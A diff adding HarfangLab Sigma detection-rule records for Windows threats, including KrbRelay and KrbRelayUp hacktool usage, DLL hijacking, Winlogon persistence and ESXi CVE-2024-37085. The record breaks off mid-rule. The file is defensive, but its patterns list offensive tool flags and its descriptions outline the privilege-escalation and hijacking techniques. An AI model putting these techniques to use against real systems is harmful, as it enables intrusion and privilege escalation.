+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "20feacae-9a99-4ce6-8f8c-c02176cb730a",
+  "rule_name": "Winlogon Helper DLL Installed",
+  "rule_description": "Detects a change of the Winlogon configuration via registry modification.\nAttackers may abuse features of Winlogon to execute DLLs and/or executables at user logon.\nIt is recommended to check whether the process modifying the registry keys has legitimate reasons to do it.\n",
+  "rule_creation_date": "2020-09-24",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1547.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "21030089-c22d-4b59-9389-818ed924fae4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.095808Z",
+  "creation_date": "2026-03-23T11:45:34.095810Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.095815Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/cube0x0/KrbRelay/",
+    "https://www.microsoft.com/en-us/security/blog/2022/05/25/detecting-and-preventing-privilege-escalation-attacks-leveraging-kerberos-relaying-krbrelayup/",
+    "https://attack.mitre.org/techniques/T1558/003/",
+    "https://attack.mitre.org/techniques/T1550/003/"
+  ],
+  "name": "t1558_003_krbrelay_hacktool_usage.yml",
+  "content": "title: KrbRelay HackTool Executed\nid: 21030089-c22d-4b59-9389-818ed924fae4\ndescription: |\n    Detects the usage of the KrbRelay HackTool, which is a no-fix local privilege escalation in Windows domain environments where LDAP signing is not enforced.\n    KrbRelay has already been used by attackers to perform various Active Directory attacks.\n    It is recommended to check the behavioral context around the execution of this tool to determine whether it is legitimate.\nreferences:\n    - https://github.com/cube0x0/KrbRelay/\n    - https://www.microsoft.com/en-us/security/blog/2022/05/25/detecting-and-preventing-privilege-escalation-attacks-leveraging-kerberos-relaying-krbrelayup/\n    - https://attack.mitre.org/techniques/T1558/003/\n    - https://attack.mitre.org/techniques/T1550/003/\ndate: 2023/07/06\nmodified: 2025/01/09\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1558.003\n    - attack.lateral_movement\n    - attack.t1550.003\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.HackTool.KrbRelay\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_krb_name:\n        - Image|endswith: '\\KrbRelay.exe'\n        - OriginalFileName: 'KrbRelay.exe'\n\n    selection_cmd_default:\n        CommandLine|contains|all:\n            - ' -spn '\n            - ' -clsid '\n\n    selection_cmd_option:\n        CommandLine|contains:\n            - ' -rbcd '\n            - ' -shadowcred'\n            - ' -add-groupmember '\n            - ' -laps'\n            - ' -ssl'\n            - ' -console'\n            - ' -add-privileges '\n            - ' -secrets'\n            - ' -service-add '\n            - ' -session '\n\n    selection_cmd_llmnr:\n        CommandLine|contains|all:\n            - ' -llmnr'\n            - ' -spn '\n            - ' -secrets'\n\n    selection_cmd_ntlm:\n        CommandLine|contains|all:\n            - ' -session '\n            - ' -clsid '\n            - ' -ntlm'\n\n    condition: selection_krb_name or (selection_cmd_default and selection_cmd_option) or selection_cmd_llmnr or selection_cmd_ntlm\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "21030089-c22d-4b59-9389-818ed924fae4",
+  "rule_name": "KrbRelay HackTool Executed",
+  "rule_description": "Detects the usage of the KrbRelay HackTool, which is a no-fix local privilege escalation in Windows domain environments where LDAP signing is not enforced.\nKrbRelay has already been used by attackers to perform various Active Directory attacks.\nIt is recommended to check the behavioral context around the execution of this tool to determine whether it is legitimate.\n",
+  "rule_creation_date": "2023-07-06",
+  "rule_modified_date": "2025-01-09",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1550.003",
+    "attack.t1558.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "21167834-ee25-40c7-a927-f927643c10a8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.599004Z",
+  "creation_date": "2026-03-23T11:45:34.599007Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.599015Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.trendmicro.com/en_us/research/23/h/earth-estries-targets-government-tech-for-cyberespionage.html",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_iisexpresstray.yml",
+  "content": "title: DLL Hijacking via iisexpresstray.exe\nid: 21167834-ee25-40c7-a927-f927643c10a8\ndescription: |\n    Detects potential Windows DLL Hijacking via iisexpresstray.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.trendmicro.com/en_us/research/23/h/earth-estries-targets-government-tech-for-cyberespionage.html\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2023/09/05\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'iisexpresstray.exe'\n        ImageLoaded|endswith: '\\mscoree.dll'\n\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Corporation'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "21167834-ee25-40c7-a927-f927643c10a8",
+  "rule_name": "DLL Hijacking via iisexpresstray.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via iisexpresstray.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2023-09-05",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "21216328-38a3-45d2-b301-ea234729a5e0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.610112Z",
+  "creation_date": "2026-03-23T11:45:34.610116Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.610123Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.rapid7.com/blog/post/2024/07/30/vmware-esxi-cve-2024-37085-targeted-in-ransomware-campaigns/",
+    "https://attack.mitre.org/techniques/T1078/002"
+  ],
+  "name": "t1078_002_possible_cve_2024_37085_exp_group.yml",
+  "content": "title: Possible Exploitation of ESXi CVE-2024-37085 Authentication Bypass\nid: 21216328-38a3-45d2-b301-ea234729a5e0\ndescription: |\n    Detects either a group creation or a member addition possibly indicating the exploitation of an authentication bypass vulnerability in domain-joined ESXi hypervisors (CVE-2024-37085).\n    VMware ESXi hypervisors joined to an Active Directory domain consider any member of a domain group named \"ESX Admins\" to have full administrative access by default.\n    This group is not a built-in group in Active Directory and does not exist by default.\n    It is recommended to investigate and determine if this is a legitimate administrative action.\nreferences:\n    - https://www.rapid7.com/blog/post/2024/07/30/vmware-esxi-cve-2024-37085-targeted-in-ransomware-campaigns/\n    - https://attack.mitre.org/techniques/T1078/002\ndate: 2024/07/30\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1078.002\n    - cve.2024-37005\n    - classification.Windows.Source.EventLog\n    - classification.Windows.Exploit.CVE-2024-37005\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    service: security\ndetection:\n    selection:\n        EventID:\n            - 4727 # Security-enabled Global Group was Created\n            - 4728 # Member was Added to Security-enabled Global Group\n            - 4755 # Security-enabled Universal Group was Created\n            - 4756 # Member was Added to Security-enabled Universal Group\n        GroupName: 'ESX Admins'\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "21216328-38a3-45d2-b301-ea234729a5e0",
+  "rule_name": "Possible Exploitation of ESXi CVE-2024-37085 Authentication Bypass",
+  "rule_description": "Detects either a group creation or a member addition possibly indicating the exploitation of an authentication bypass vulnerability in domain-joined ESXi hypervisors (CVE-2024-37085).\nVMware ESXi hypervisors joined to an Active Directory domain consider any member of a domain group named \"ESX Admins\" to have full administrative access by default.\nThis group is not a built-in group in Active Directory and does not exist by default.\nIt is recommended to investigate and determine if this is a legitimate administrative action.\n",
+  "rule_creation_date": "2024-07-30",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1078.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "21364c07-fc54-4cf0-8a5e-4dd14ed9910d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.098621Z",
+  "creation_date": "2026-03-23T11:45:34.098623Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.098627Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_multidigimon.yml",
+  "content": "title: DLL Hijacking via multidigimon.exe\nid: 21364c07-fc54-4cf0-8a5e-4dd14ed9910d\ndescription: |\n    Detects potential Windows DLL Hijacking via multidigimon.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'multidigimon.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\NInput.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "21364c07-fc54-4cf0-8a5e-4dd14ed9910d",
+  "rule_name": "DLL Hijacking via multidigimon.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via multidigimon.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2140fee8-47d6-4020-b659-5713bfec9a3c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.075299Z",
+  "creation_date": "2026-03-23T11:45:34.075301Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.075305Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/Dec0ne/KrbRelayUp",
+    "https://twitter.com/malmoeb/status/1552403545793581056?t=1MuOT3JoyUWqfpp3CBbPLg&s=19",
+    "https://attack.mitre.org/techniques/T1558/003/",
+    "https://attack.mitre.org/techniques/T1550/003/"
+  ],
+  "name": "t1558_003_krbrelayup_tool_usage.yml",
+  "content": "title: KrbRelayUp HackTool Executed\nid: 2140fee8-47d6-4020-b659-5713bfec9a3c\ndescription: |\n    Detects the usage of the KrbRelayUp HackTool, which is a no-fix local privilege escalation in Windows domain environments using Kerberos.\n    This tool provides a streamlined wrapper around several well-known tools such as \"Rubeus\", \"KrbRelay\", \"ADCSPwn\", \"Whisker\" and \"SCMUACBypass\".\n    It automates local privilege escalation by coercing machine account authentication, relaying Kerberos to LDAP or ADCS, and abusing S4U2Self or RBCD to gain NT AUTHORITY/SYSTEM access.\n    The tool also includes support for shadow credentials, eliminating the need for additional machine accounts. Furthermore, it bypasses mitigations like Protected Users by leveraging PKInit-based authentication.\n    It is recommended to check the context of use of this tool and to look for other malicious actions on the host.\n    If no legitimate use of this tool is identified, the machine should be isolated and investigated immediately.\nreferences:\n    - https://github.com/Dec0ne/KrbRelayUp\n    - https://twitter.com/malmoeb/status/1552403545793581056?t=1MuOT3JoyUWqfpp3CBbPLg&s=19\n    - https://attack.mitre.org/techniques/T1558/003/\n    - https://attack.mitre.org/techniques/T1550/003/\ndate: 2022/08/03\nmodified: 2025/02/13\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1558.003\n    - attack.lateral_movement\n    - attack.t1550.003\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.HackTool.KrbRelayUp\n    - classification.Windows.Behavior.Lateralization\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_krb_name:\n        - Image|endswith: '\\KrbRelayUp.exe'\n        - OriginalFileName: 'KrbRelayUp.exe'\n\n    selection_cmd_relay:\n        CommandLine|contains: ' relay '\n\n    selection_cmd_spawn:\n        CommandLine|contains: ' spawn '\n\n    selection_cmd_krbscm:\n        CommandLine|contains: ' krbscm '\n\n    selection_cmd_domain:\n        CommandLine|contains:\n            - ' -d '\n            - ' --Domain '\n            - ' -Domain '\n\n    selection_cmd_cn:\n        CommandLine|contains:\n            - ' -cn '\n            - ' --ComputerName '\n            - ' -ComputerName '\n\n    selection_cmd_service_command:\n        CommandLine|contains:\n            - ' -s '\n            - ' -sc '\n            - ' --ServiceName '\n            - ' --ServiceCommand'\n            - ' -ServiceName '\n            - ' -ServiceCommand'\n\n    condition: selection_krb_name or\n               ((selection_cmd_relay or selection_cmd_spawn) and selection_cmd_domain and selection_cmd_cn) or\n               (selection_cmd_krbscm and selection_cmd_service_command)\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2140fee8-47d6-4020-b659-5713bfec9a3c",
+  "rule_name": "KrbRelayUp HackTool Executed",
+  "rule_description": "Detects the usage of the KrbRelayUp HackTool, which is a no-fix local privilege escalation in Windows domain environments using Kerberos.\nThis tool provides a streamlined wrapper around several well-known tools such as \"Rubeus\", \"KrbRelay\", \"ADCSPwn\", \"Whisker\" and \"SCMUACBypass\".\nIt automates local privilege escalation by coercing machine account authentication, relaying Kerberos to LDAP or ADCS, and abusing S4U2Self or RBCD to gain NT AUTHORITY/SYSTEM access.\nThe tool also includes support for shadow credentials, eliminating the need for additional machine accounts. Furthermore, it bypasses mitigations like Protected Users by leveraging PKInit-based authentication.\nIt is recommended to check the context of use of this tool and to look for other malicious actions on the host.\nIf no legitimate use of this tool is identified, the machine should be isolated and investigated immediately.\n",
+  "rule_creation_date": "2022-08-03",
+  "rule_modified_date": "2025-02-13",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1550.003",
+    "attack.t1558.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "21699dd6-a401-4ab8-bbda-d513d587c561",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.593663Z",
+  "creation_date": "2026-03-23T11:45:34.593667Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.593675Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/0gtweet/status/1564131230941122561",
+    "https://dennisbabkin.com/blog/?t=pwning-windows-updates-dll-hijacking-through-orphaned-dll",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_phantom_dll_hijacking_deviceenroller.yml",
+  "content": "title: Phantom DLL Hijacking via DeviceEnroller.exe\nid: 21699dd6-a401-4ab8-bbda-d513d587c561\ndescription: |\n    Detects potential Phantom DLL Hijacking via DeviceEnroller.exe.\n    Phantom DLL Hijacking takes advantage of non-existing DLL that a legitimate application tries to load.\n    Attackers used this technique by copying a malicious DLL to System32 under ShellChromeAPI.dll, which is loaded by DeviceEnroller.exe if the parameter /PhoneDeepLink is present.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://twitter.com/0gtweet/status/1564131230941122561\n    - https://dennisbabkin.com/blog/?t=pwning-windows-updates-dll-hijacking-through-orphaned-dll\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/08/30\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'deviceenroller.exe'\n        ProcessCommandLine|contains: 'PhoneDeepLink'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded: '?:\\Windows\\System32\\ShellChromeAPI.dll'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "21699dd6-a401-4ab8-bbda-d513d587c561",
+  "rule_name": "Phantom DLL Hijacking via DeviceEnroller.exe",
+  "rule_description": "Detects potential Phantom DLL Hijacking via DeviceEnroller.exe.\nPhantom DLL Hijacking takes advantage of non-existing DLL that a legitimate application tries to load.\nAttackers used this technique by copying a malicious DLL to System32 under ShellChromeAPI.dll, which is loaded by DeviceEnroller.exe if the parameter /PhoneDeepLink is present.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-08-30",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2169b294-00f6-4185-922a-6e8744093010",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.627015Z",
+  "creation_date": "2026-03-23T11:45:34.627017Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.627021Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_002_dll_hijacking_obs_ffmpeg_mux.yml",
+  "content": "title: DLL Hijacking via obs-ffmpeg-mux.exe\nid: 2169b294-00f6-4185-922a-6e8744093010\ndescription: |\n    Detects potential Windows DLL Hijacking via obs-ffmpeg-mux.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2025/01/08\nmodified: 2026/02/10\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessName: 'obs-ffmpeg-mux.exe'\n        ProcessSignature: 'Hugh Bailey'\n        ImageLoaded|endswith: '\\obs.dll'\n\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith: '?:\\Program 